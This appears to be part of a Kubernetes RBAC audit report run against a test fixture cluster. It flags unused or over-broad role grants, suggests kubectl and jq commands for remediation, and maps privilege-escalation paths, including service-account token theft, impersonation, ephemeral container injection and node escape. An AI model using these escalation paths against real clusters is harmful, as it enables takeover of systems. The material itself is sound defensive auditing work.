  "source_role": "cr-wildcard",
  "window_end": "2026-06-22T16:10:18.269346057Z",
  "window_start": "2026-05-23T16:10:18.269346057Z"
}
MEDIUM ServiceAccount/local-path-storage/local-path-provisioner-service-account Namespace 5.0
Role local-path-provisioner-role granted to ServiceAccount local-path-storage/local-path-provisioner-service-account but never exercised
Scope · Namespace Namespace local-path-storage
Category: Privilege Escalation Subject: ServiceAccount/local-path-storage/local-path-provisioner-service-account Resource: Role/local-path-provisioner-role

Audit logs covering 30 days (2026-05-23 → 2026-06-22, 3 events) show zero API calls from ServiceAccount local-path-storage/local-path-provisioner-service-account. The Role local-path-provisioner-role is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

Impact If the pod is compromised, the attacker inherits every permission in local-path-provisioner-role even though the application has not used any of them.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceRole

A Role is a permission set that only applies inside one namespace. Roles cannot reference cluster-scoped resources (like Nodes or PersistentVolumes).

  1. Attacker compromises a pod running as ServiceAccount local-path-storage/local-path-provisioner-service-account (e.g. via an RCE in the application).
  2. Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount local-path-storage/local-path-provisioner-service-account.
  3. Attacker uses the token to invoke every API grant in local-path-provisioner-role - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs.
Remediation
Remove the binding that grants local-path-provisioner-role to ServiceAccount local-path-storage/local-path-provisioner-service-account, or replace the Role with a no-op placeholder until the workload is retired.
  1. Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).
  2. Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "local-path-provisioner-role") | {kind, ns: .metadata.namespace, name: .metadata.name}'
  3. Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.
Evidence
Source rolelocal-path-provisioner-role
Inspect: kubectl get clusterrole local-path-provisioner-role -o yaml
events_processed
3
signal
"no_observed_events_for_subject"
window_end
"2026-06-22T16:10:18.269346057Z"
window_start
"2026-05-23T16:10:18.269346057Z"
Show raw JSON
{
  "events_processed": 3,
  "signal": "no_observed_events_for_subject",
  "source_role": "local-path-provisioner-role",
  "window_end": "2026-06-22T16:10:18.269346057Z",
  "window_start": "2026-05-23T16:10:18.269346057Z"
}
MEDIUM ServiceAccount/lp-fixtures/sa-lp-orphan Namespace 5.0
Role r-lp-orphan granted to ServiceAccount lp-fixtures/sa-lp-orphan but never exercised
Scope · Namespace Namespace lp-fixtures
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-orphan Resource: Role/r-lp-orphan

Audit logs covering 30 days (2026-05-23 → 2026-06-22, 3 events) show zero API calls from ServiceAccount lp-fixtures/sa-lp-orphan. The Role r-lp-orphan is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

Impact If the pod is compromised, the attacker inherits every permission in r-lp-orphan even though the application has not used any of them.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceRole

A Role is a permission set that only applies inside one namespace. Roles cannot reference cluster-scoped resources (like Nodes or PersistentVolumes).

  1. Attacker compromises a pod running as ServiceAccount lp-fixtures/sa-lp-orphan (e.g. via an RCE in the application).
  2. Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount lp-fixtures/sa-lp-orphan.
  3. Attacker uses the token to invoke every API grant in r-lp-orphan - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs.
Remediation
Remove the binding that grants r-lp-orphan to ServiceAccount lp-fixtures/sa-lp-orphan, or replace the Role with a no-op placeholder until the workload is retired.
  1. Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).
  2. Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "r-lp-orphan") | {kind, ns: .metadata.namespace, name: .metadata.name}'
  3. Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.
Evidence
Source roler-lp-orphan
Inspect: kubectl get clusterrole r-lp-orphan -o yaml
events_processed
3
signal
"no_observed_events_for_subject"
window_end
"2026-06-22T16:10:18.269346057Z"
window_start
"2026-05-23T16:10:18.269346057Z"
Show raw JSON
{
  "events_processed": 3,
  "signal": "no_observed_events_for_subject",
  "source_role": "r-lp-orphan",
  "window_end": "2026-06-22T16:10:18.269346057Z",
  "window_start": "2026-05-23T16:10:18.269346057Z"
}
MEDIUM ServiceAccount/secrets-bundle/cross-ns-reader Namespace 5.0
Role secrets-reader granted to ServiceAccount secrets-bundle/cross-ns-reader but never exercised
Scope · Namespace Namespace secrets-bundle
Category: Privilege Escalation Subject: ServiceAccount/secrets-bundle/cross-ns-reader Resource: Role/secrets-reader

Audit logs covering 30 days (2026-05-23 → 2026-06-22, 3 events) show zero API calls from ServiceAccount secrets-bundle/cross-ns-reader. The Role secrets-reader is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

Impact If the pod is compromised, the attacker inherits every permission in secrets-reader even though the application has not used any of them.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceRole

A Role is a permission set that only applies inside one namespace. Roles cannot reference cluster-scoped resources (like Nodes or PersistentVolumes).

  1. Attacker compromises a pod running as ServiceAccount secrets-bundle/cross-ns-reader (e.g. via an RCE in the application).
  2. Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount secrets-bundle/cross-ns-reader.
  3. Attacker uses the token to invoke every API grant in secrets-reader - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs.
Remediation
Remove the binding that grants secrets-reader to ServiceAccount secrets-bundle/cross-ns-reader, or replace the Role with a no-op placeholder until the workload is retired.
  1. Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).
  2. Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "secrets-reader") | {kind, ns: .metadata.namespace, name: .metadata.name}'
  3. Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.
Evidence
Source rolesecrets-reader
Inspect: kubectl get clusterrole secrets-reader -o yaml
events_processed
3
signal
"no_observed_events_for_subject"
window_end
"2026-06-22T16:10:18.269346057Z"
window_start
"2026-05-23T16:10:18.269346057Z"
Show raw JSON
{
  "events_processed": 3,
  "signal": "no_observed_events_for_subject",
  "source_role": "secrets-reader",
  "window_end": "2026-06-22T16:10:18.269346057Z",
  "window_start": "2026-05-23T16:10:18.269346057Z"
}
LOW

Role r-lp-narrow has 5 unused verb-grants for ServiceAccount lp-fixtures/sa-lp-narrow

KUBE-RBAC-UNUSED-VERB-001 1 subject Score 3.0

Affected subject

LOW ServiceAccount/lp-fixtures/sa-lp-narrow Namespace 3.0
Role r-lp-narrow has 5 unused verb-grants for ServiceAccount lp-fixtures/sa-lp-narrow
Scope · Namespace Namespace lp-fixtures
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-narrow Resource: Role/r-lp-narrow

Over 30 days (2026-05-23 → 2026-06-22, 3 events), ServiceAccount lp-fixtures/sa-lp-narrow exercised some of the verbs in r-lp-narrow but not others. Unused: create configmaps (apiGroup core), delete configmaps (apiGroup core), patch configmaps (apiGroup core), update configmaps (apiGroup core), watch configmaps (apiGroup core). The Role can be safely narrowed to drop the verbs the workload has never needed.

Impact Each unused verb is an additional permission an attacker inherits if the workload is compromised, without the application needing it for normal operation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceRole

A Role is a permission set that only applies inside one namespace. Roles cannot reference cluster-scoped resources (like Nodes or PersistentVolumes).

Remediation
Replace r-lp-narrow with a narrower Role that lists only the verbs the workload actually exercises.
  1. Confirm the audit window is long enough to capture rare-but-legitimate operations (monthly cron jobs, error-only code paths).
  2. Edit r-lp-narrow to drop the unused verbs, or apply the suggested replacement below.
Evidence
Source roler-lp-narrow
Inspect: kubectl get clusterrole r-lp-narrow -o yaml
events_processed
3
suggested_role_yaml
"# Drop the following from Role/ClusterRole `r-lp-narrow`:\n#   apiGroup `core`, resource `configmaps`: create, delete, patch, update, watch\n# Replacement Role: keep only the verbs the workload actually uses (visible in your audit log).\n"
unused_triples
[
  {
    "api_group": "",
    "resource": "configmaps",
    "verb": "create"
  },
  {
    "api_group": "",
    "resource": "configmaps",
    "verb": "delete"
  },
  {
    "api_group": "",
    "resource": "configmaps",
    "verb": "patch"
  },
  {
    "api_group": "",
    "resource": "configmaps",
    "verb": "update"
  },
  {
    "api_group": "",
    "resource": "configmaps",
    "verb": "watch"
  }
]
used_triples
[
  {
    "api_group": "",
    "resource": "configmaps",
    "verb": "get"
  },
  {
    "api_group": "",
    "resource": "configmaps",
    "verb": "list"
  }
]
window_end
"2026-06-22T16:10:18.269346057Z"
window_start
"2026-05-23T16:10:18.269346057Z"
Show raw JSON
{
  "events_processed": 3,
  "source_role": "r-lp-narrow",
  "suggested_role_yaml": "# Drop the following from Role/ClusterRole `r-lp-narrow`:\n#   apiGroup `core`, resource `configmaps`: create, delete, patch, update, watch\n# Replacement Role: keep only the verbs the workload actually uses (visible in your audit log).\n",
  "unused_triples": [
    {
      "api_group": "",
      "resource": "configmaps",
      "verb": "create"
    },
    {
      "api_group": "",
      "resource": "configmaps",
      "verb": "delete"
    },
    {
      "api_group": "",
      "resource": "configmaps",
      "verb": "patch"
    },
    {
      "api_group": "",
      "resource": "configmaps",
      "verb": "update"
    },
    {
      "api_group": "",
      "resource": "configmaps",
      "verb": "watch"
    }
  ],
  "used_triples": [
    {
      "api_group": "",
      "resource": "configmaps",
      "verb": "get"
    },
    {
      "api_group": "",
      "resource": "configmaps",
      "verb": "list"
    }
  ],
  "window_end": "2026-06-22T16:10:18.269346057Z",
  "window_start": "2026-05-23T16:10:18.269346057Z"
}

Least Privilege Opportunities

Findings here highlight RBAC grants that look broader than the workloads actually need. Pre-existing rules from the rbac module (stale bindings, over-broad ClusterRole grants) appear alongside new audit-driven rules (KUBE-RBAC-UNUSED-*, KUBE-RBAC-WILDCARD-USED-PARTIAL-*) so you can iterate on tightening in one focused view. Each finding is a recommendation, not an exploit - verify the observation window covers your workloads' full cycle before removing permissions.

Audit window 2026-05-23 → 2026-06-22 30 days · 3 events
Unused RBAC resources 10 rows

Roles, ClusterRoles, and bindings that look like delete candidates. Each row tells you exactly what to remove. Verify the audit window covers a representative slice of your workloads' activity before deleting.

SeverityBinding
Role & ServiceAccount
What to do
MEDIUM
KUBE-RBAC-UNUSED-ROLE-001
Role: ClusterRole/cr-csr-mint
ServiceAccount: csr-fixtures/sa-csr-mint
Delete ClusterRole/cr-csr-mint (and its bindings)
No observed API calls in the audit window
MEDIUM
KUBE-RBAC-UNUSED-ROLE-001
Role: ClusterRole/cr-impersonate
ServiceAccount: rbac-fixtures/sa-impersonate
Delete ClusterRole/cr-impersonate (and its bindings)
No observed API calls in the audit window
MEDIUM
KUBE-RBAC-UNUSED-ROLE-001
Role: ClusterRole/cr-pod-create
ServiceAccount: rbac-fixtures/sa-pod-create
Delete ClusterRole/cr-pod-create (and its bindings)
No observed API calls in the audit window
MEDIUM
KUBE-RBAC-UNUSED-ROLE-001
Role: ClusterRole/cr-wildcard
ServiceAccount: rbac-fixtures/sa-wildcard
Delete ClusterRole/cr-wildcard (and its bindings)
No observed API calls in the audit window
MEDIUM
KUBE-RBAC-STALE-001
Role: ClusterRole/kubesplaining-fixture-deleted-role
ServiceAccount: rbac-fixtures/sa-stale-roleref
Delete ClusterRoleBinding/crb-stale-roleref (target Role missing)
Binding references a Role/ClusterRole that does not exist
MEDIUM
KUBE-RBAC-UNUSED-ROLE-001
Role: Role/cm-reader
ServiceAccount: vulnerable/default
Delete Role/cm-reader (and its bindings)
No observed API calls in the audit window
MEDIUM
KUBE-RBAC-UNUSED-ROLE-001
Role: Role/local-path-provisioner-role
ServiceAccount: local-path-storage/local-path-provisioner-service-account
Delete Role/local-path-provisioner-role (and its bindings)
No observed API calls in the audit window
MEDIUM
KUBE-RBAC-UNUSED-ROLE-001
Role: Role/r-lp-orphan
ServiceAccount: lp-fixtures/sa-lp-orphan
Delete Role/r-lp-orphan (and its bindings)
No observed API calls in the audit window
MEDIUM
KUBE-RBAC-UNUSED-ROLE-001
Role: Role/secrets-reader
ServiceAccount: secrets-bundle/cross-ns-reader
Delete Role/secrets-reader (and its bindings)
No observed API calls in the audit window
LOW
KUBE-RBAC-STALE-002
Role: Role/r-stale-subject-target
ServiceAccount: rbac-fixtures/ghost-sa-fixture
Delete RoleBinding/rbac-fixtures/rb-stale-subject (subject missing)
Binding lists a ServiceAccount subject that does not exist
Role to verb activity 2 rows

Verb-level narrowing opportunities. The "Used" column lists verbs the workload actually exercised in the audit window; the "Unused" column lists verbs the Role still grants without evidence of need. Each row's action describes the exact edit.

SeverityBinding
Role & ServiceAccount
Used verbsUnused verbsWhat to do
MEDIUM
KUBE-RBAC-WILDCARD-USED-PARTIAL-001
Role: Role/r-lp-wildcard
ServiceAccount: lp-fixtures/sa-lp-wildcard
  • get: secrets
  • create: secrets
  • delete: secrets
  • deletecollection: secrets
  • list: secrets
  • patch: secrets
  • update: secrets
  • watch: secrets
Replace verbs: ["*"] in Role/r-lp-wildcard with the observed verbs (see YAML below)
LOW
KUBE-RBAC-UNUSED-VERB-001
Role: Role/r-lp-narrow
ServiceAccount: lp-fixtures/sa-lp-narrow
  • get: configmaps
  • list: configmaps
  • create: configmaps
  • delete: configmaps
  • patch: configmaps
  • update: configmaps
  • watch: configmaps
Drop the 5 unused verbs from Role/r-lp-narrow (use the suggested YAML below)
Subjects bound to cluster-admin 3 subjects

Every identity directly bound to the built-in cluster-admin ClusterRole. This is an inventory view, not a finding list: built-in rows are expected (the API server hard-codes system:masters; a handful of control-plane bindings are required), while review rows are discretionary grants worth a "is this still legitimate?" check. Cluster-admin has legitimate uses (break-glass groups, JIT admin), so kubesplaining no longer flags each row as CRITICAL in this view — review the list and prune what you don't recognize.

SubjectClusterRoleBindingType
Group kubeadm:cluster-admins kubeadm:cluster-admins review
ServiceAccount rbac-fixtures/sa-cluster-admin crb-cluster-admin review
Group system:masters cluster-admin built-in

What each principal can actually do

The Cloudsplaining-style per-subject view: every RBAC subject that fires a finding or holds a cluster-admin-equivalent grant gets one card. Bindings lists the (Cluster)RoleBindings that grant the subject its permissions; Effective verbs is the deduped verb set across all bound roles; Effective rules collapses the granular RBAC rules into one row per resource so the operator can scan them. When the engine detected a privesc chain from this subject the card is tagged chain-amplified and the chain summaries appear at the bottom: those are the principals to prune first.

ServiceAccount csr-fixtures/sa-csr-mint

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-csr-mint -> ClusterRole/cr-csr-mint

Effective verbs: create get list patch update watch

Effective rules:
  • create,get,list,watch on certificatesigningrequests@certificates.k8s.io
  • patch,update on certificatesigningrequests/approval@certificates.k8s.io
Privesc paths originating here:
  • ServiceAccount csr-fixtures/sa-csr-mint -> system_masters via csr_approve -> system_masters (CRITICAL, 1 hop)
  • ServiceAccount csr-fixtures/sa-csr-mint -> node_escape via imds_node_role_pivot -> node_escape (CRITICAL, 1 hop)

ServiceAccount local-path-storage/local-path-provisioner-service-account

chain-amplified
Bindings:
  • ClusterRoleBinding/local-path-provisioner-bind -> ClusterRole/local-path-provisioner-role
  • RoleBinding/local-path-storage/local-path-provisioner-bind -> Role/local-path-provisioner-role

Effective verbs: create delete get list patch update watch

Effective rules:
  • create,delete,get,list,patch,update,watch on persistentvolumes@core
  • create,delete,get,list,patch,update,watch on pods@core
  • create,patch on events@core
  • get,list,watch on configmaps@core
  • get,list,watch on nodes@core
  • get,list,watch on persistentvolumeclaims@core
  • get,list,watch on pods/log@core
  • get,list,watch on storageclasses@storage.k8s.io
Privesc paths originating here:
  • ServiceAccount local-path-storage/local-path-provisioner-service-account -> node_escape via pod_create_privileged_escape -> node_escape (CRITICAL, 1 hop)

ServiceAccount lp-fixtures/sa-lp-narrow

chain-amplified
Bindings:
  • RoleBinding/lp-fixtures/rb-lp-narrow -> Role/r-lp-narrow

Effective verbs: create delete get list patch update watch

Effective rules:
  • create,delete,get,list,patch,update,watch on configmaps@core
Privesc paths originating here:
  • ServiceAccount lp-fixtures/sa-lp-narrow -> node_escape via imds_node_role_pivot -> node_escape (CRITICAL, 1 hop)

ServiceAccount lp-fixtures/sa-lp-orphan

chain-amplified
Bindings:
  • RoleBinding/lp-fixtures/rb-lp-orphan -> Role/r-lp-orphan

Effective verbs: get list

Effective rules:
  • get,list on pods@core
Privesc paths originating here:
  • ServiceAccount lp-fixtures/sa-lp-orphan -> node_escape via imds_node_role_pivot -> node_escape (CRITICAL, 1 hop)

ServiceAccount lp-fixtures/sa-lp-wildcard

chain-amplified
Bindings:
  • RoleBinding/lp-fixtures/rb-lp-wildcard -> Role/r-lp-wildcard

Effective verbs: *

Effective rules:
  • * on secrets@core
Privesc paths originating here:
  • ServiceAccount lp-fixtures/sa-lp-wildcard -> node_escape via imds_node_role_pivot -> node_escape (CRITICAL, 1 hop)

ServiceAccount privesc-fixtures/sa-ephemeral

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-ephemeral -> ClusterRole/cr-ephemeral

Effective verbs: patch update

Effective rules:
  • patch,update on pods/ephemeralcontainers@core
Privesc paths originating here:
  • ServiceAccount privesc-fixtures/sa-ephemeral -> cluster_admin via ephemeral_container_inject -> cluster_admin (CRITICAL, 2 hops)
  • ServiceAccount privesc-fixtures/sa-ephemeral -> system_masters via ephemeral_container_inject -> system_masters (CRITICAL, 2 hops)
  • ServiceAccount privesc-fixtures/sa-ephemeral -> node_escape via ephemeral_container_inject -> node_escape (CRITICAL, 2 hops)
  • ServiceAccount privesc-fixtures/sa-ephemeral -> User arn:aws:iam::123456789012:role/AdministratorAccess via ephemeral_container_inject -> aws_iam_role (HIGH, 2 hops)
  • ServiceAccount privesc-fixtures/sa-ephemeral -> generic via ephemeral_container_inject -> generic (HIGH, 2 hops)
  • ServiceAccount privesc-fixtures/sa-ephemeral -> kube_system_secrets via ephemeral_container_inject -> kube_system_secrets (MEDIUM, 3 hops)
  • ServiceAccount privesc-fixtures/sa-ephemeral -> namespace_admin via ephemeral_container_inject -> namespace_admin (MEDIUM, 3 hops)

ServiceAccount privesc-fixtures/sa-node-migrate

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-node-migrate -> ClusterRole/cr-node-migrate

Effective verbs: delete patch update

Effective rules:
  • delete on pods@core
  • patch,update on nodes/status@core
Privesc paths originating here:
  • ServiceAccount privesc-fixtures/sa-node-migrate -> node_escape via node_drain_migrate -> node_escape (CRITICAL, 1 hop)

ServiceAccount privesc-fixtures/sa-pod-create-escape

chain-amplified
Bindings:
  • RoleBinding/privesc-fixtures/rb-pod-create-escape -> Role/r-pod-create-escape

Effective verbs: create

Effective rules:
  • create on pods@core
Privesc paths originating here:
  • ServiceAccount privesc-fixtures/sa-pod-create-escape -> node_escape via pod_create_privileged_escape -> node_escape (CRITICAL, 1 hop)
  • ServiceAccount privesc-fixtures/sa-pod-create-escape -> cluster_admin via pod_create_token_theft -> cluster_admin (HIGH, 3 hops)
  • ServiceAccount privesc-fixtures/sa-pod-create-escape -> system_masters via pod_create_token_theft -> system_masters (HIGH, 3 hops)
  • ServiceAccount privesc-fixtures/sa-pod-create-escape -> kube_system_secrets via pod_create_token_theft -> kube_system_secrets (HIGH, 2 hops)
  • ServiceAccount privesc-fixtures/sa-pod-create-escape -> generic via pod_create_token_theft -> generic (HIGH, 2 hops)
  • ServiceAccount privesc-fixtures/sa-pod-create-escape -> User arn:aws:iam::123456789012:role/AdministratorAccess via pod_create_token_theft -> aws_iam_role (MEDIUM, 3 hops)
  • ServiceAccount privesc-fixtures/sa-pod-create-escape -> namespace_admin via pod_create_token_theft -> namespace_admin (MEDIUM, 4 hops)

ServiceAccount privesc-fixtures/sa-pod-exec

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-pod-exec -> ClusterRole/cr-pod-exec

Effective verbs: create get

Effective rules:
  • create,get on pods/exec@core
Privesc paths originating here:
  • ServiceAccount privesc-fixtures/sa-pod-exec -> cluster_admin via pod_exec -> cluster_admin (CRITICAL, 2 hops)
  • ServiceAccount privesc-fixtures/sa-pod-exec -> system_masters via pod_exec -> system_masters (CRITICAL, 2 hops)
  • ServiceAccount privesc-fixtures/sa-pod-exec -> node_escape via pod_exec -> node_escape (CRITICAL, 2 hops)
  • ServiceAccount privesc-fixtures/sa-pod-exec -> User arn:aws:iam::123456789012:role/AdministratorAccess via pod_exec -> aws_iam_role (HIGH, 2 hops)
  • ServiceAccount privesc-fixtures/sa-pod-exec -> generic via pod_exec -> generic (HIGH, 2 hops)
  • ServiceAccount privesc-fixtures/sa-pod-exec -> kube_system_secrets via pod_exec -> kube_system_secrets (MEDIUM, 3 hops)
  • ServiceAccount privesc-fixtures/sa-pod-exec -> namespace_admin via pod_exec -> namespace_admin (MEDIUM, 3 hops)

ServiceAccount rbac-fixtures/sa-bind-escalate

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-bind-escalate -> ClusterRole/cr-bind-escalate

Effective verbs: bind escalate

Effective rules:
  • bind,escalate on clusterroles@rbac.authorization.k8s.io
  • bind,escalate on roles@rbac.authorization.k8s.io
Privesc paths originating here:
  • ServiceAccount rbac-fixtures/sa-bind-escalate -> cluster_admin via bind_or_escalate -> cluster_admin (CRITICAL, 1 hop)

ServiceAccount rbac-fixtures/sa-cluster-admin

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-cluster-admin -> ClusterRole/cluster-admin

Effective verbs: *

Effective rules:
  • * on *@*
  • * on @core
Privesc paths originating here:
  • ServiceAccount rbac-fixtures/sa-cluster-admin -> cluster_admin via wildcard_permission -> cluster_admin (CRITICAL, 1 hop)
  • ServiceAccount rbac-fixtures/sa-cluster-admin -> node_escape via node_drain_migrate -> node_escape (CRITICAL, 1 hop)
  • ServiceAccount rbac-fixtures/sa-cluster-admin -> generic via secret_mint_token -> generic (HIGH, 1 hop)

ServiceAccount rbac-fixtures/sa-impersonate

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-impersonate -> ClusterRole/cr-impersonate

Effective verbs: impersonate

Effective rules:
  • impersonate on groups@core
Privesc paths originating here:
  • ServiceAccount rbac-fixtures/sa-impersonate -> cluster_admin via impersonate -> cluster_admin (CRITICAL, 1 hop)
  • ServiceAccount rbac-fixtures/sa-impersonate -> system_masters via impersonate_system_masters -> system_masters (CRITICAL, 1 hop)
  • ServiceAccount rbac-fixtures/sa-impersonate -> node_escape via imds_node_role_pivot -> node_escape (CRITICAL, 1 hop)

ServiceAccount rbac-fixtures/sa-nodes-proxy

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-nodes-proxy -> ClusterRole/cr-nodes-proxy

Effective verbs: get

Effective rules:
  • get on nodes/proxy@core
Privesc paths originating here:
  • ServiceAccount rbac-fixtures/sa-nodes-proxy -> node_escape via nodes_proxy -> node_escape (CRITICAL, 1 hop)

ServiceAccount rbac-fixtures/sa-pod-create

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-pod-create -> ClusterRole/cr-pod-create

Effective verbs: create

Effective rules:
  • create on pods@core
Privesc paths originating here:
  • ServiceAccount rbac-fixtures/sa-pod-create -> node_escape via pod_create_privileged_escape -> node_escape (CRITICAL, 1 hop)
  • ServiceAccount rbac-fixtures/sa-pod-create -> cluster_admin via pod_create_token_theft -> cluster_admin (CRITICAL, 2 hops)
  • ServiceAccount rbac-fixtures/sa-pod-create -> system_masters via pod_create_token_theft -> system_masters (CRITICAL, 2 hops)
  • ServiceAccount rbac-fixtures/sa-pod-create -> kube_system_secrets via pod_create_token_theft -> kube_system_secrets (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-pod-create -> User arn:aws:iam::123456789012:role/AdministratorAccess via pod_create_token_theft -> aws_iam_role (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-pod-create -> namespace_admin via pod_create_token_theft -> namespace_admin (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-pod-create -> generic via pod_create_token_theft -> generic (HIGH, 2 hops)

ServiceAccount rbac-fixtures/sa-rolebinding-mutate

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-rolebinding-mutate -> ClusterRole/cr-rolebinding-mutate

Effective verbs: create patch update

Effective rules:
  • create,patch,update on clusterrolebindings@rbac.authorization.k8s.io
  • create,patch,update on rolebindings@rbac.authorization.k8s.io
Privesc paths originating here:
  • ServiceAccount rbac-fixtures/sa-rolebinding-mutate -> cluster_admin via modify_role_binding -> cluster_admin (CRITICAL, 1 hop)

ServiceAccount rbac-fixtures/sa-token-create

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-token-create -> ClusterRole/cr-token-create

Effective verbs: create

Effective rules:
  • create on serviceaccounts/token@core
Privesc paths originating here:
  • ServiceAccount rbac-fixtures/sa-token-create -> cluster_admin via token_request -> cluster_admin (CRITICAL, 2 hops)
  • ServiceAccount rbac-fixtures/sa-token-create -> system_masters via token_request -> system_masters (CRITICAL, 2 hops)
  • ServiceAccount rbac-fixtures/sa-token-create -> node_escape via token_request -> node_escape (CRITICAL, 2 hops)
  • ServiceAccount rbac-fixtures/sa-token-create -> kube_system_secrets via token_request -> kube_system_secrets (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-token-create -> User arn:aws:iam::123456789012:role/AdministratorAccess via token_request -> aws_iam_role (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-token-create -> namespace_admin via token_request -> namespace_admin (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-token-create -> generic via mint_arbitrary_token -> generic (HIGH, 1 hop)

ServiceAccount rbac-fixtures/sa-wildcard

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-wildcard -> ClusterRole/cr-wildcard

Effective verbs: *

Effective rules:
  • * on *@*
Privesc paths originating here:
  • ServiceAccount rbac-fixtures/sa-wildcard -> cluster_admin via wildcard_permission -> cluster_admin (CRITICAL, 1 hop)
  • ServiceAccount rbac-fixtures/sa-wildcard -> node_escape via node_drain_migrate -> node_escape (CRITICAL, 1 hop)
  • ServiceAccount rbac-fixtures/sa-wildcard -> generic via secret_mint_token -> generic (HIGH, 1 hop)

ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate

chain-amplified
Bindings:
  • RoleBinding/rbac-ns-fixtures/rb-ns-rolebinding-mutate -> Role/r-ns-rolebinding-mutate

Effective verbs: create patch update

Effective rules:
  • create,patch,update on rolebindings@rbac.authorization.k8s.io
Privesc paths originating here:
  • ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate -> namespace_admin via modify_role_binding -> namespace_admin (HIGH, 1 hop)

ServiceAccount secrets-bundle/cross-ns-reader

chain-amplified
Bindings:
  • RoleBinding/secrets-bundle-target/cross-ns-secrets-read -> Role/secrets-reader

Effective verbs: get list

Effective rules:
  • get,list on secrets@core
Privesc paths originating here:
  • ServiceAccount secrets-bundle/cross-ns-reader -> node_escape via imds_node_role_pivot -> node_escape (CRITICAL, 1 hop)

ServiceAccount vulnerable/default

chain-amplified
Bindings:
  • RoleBinding/vulnerable/default-sa-rb -> Role/cm-reader

Effective verbs: get

Effective rules:
  • get on configmaps@core
Privesc paths originating here:
  • ServiceAccount vulnerable/default -> node_escape via pod_host_escape -> node_escape (CRITICAL, 1 hop)

ServiceAccount vulnerable/privileged-reader

chain-amplified
Bindings:
  • ClusterRoleBinding/privileged-reader -> ClusterRole/privileged-reader

Effective verbs: create get list

Effective rules:
  • create on pods@core
  • get,list on secrets@core
Privesc paths originating here:
  • ServiceAccount vulnerable/privileged-reader -> node_escape via pod_create_privileged_escape -> node_escape (CRITICAL, 1 hop)
  • ServiceAccount vulnerable/privileged-reader -> cluster_admin via pod_create_token_theft -> cluster_admin (CRITICAL, 2 hops)
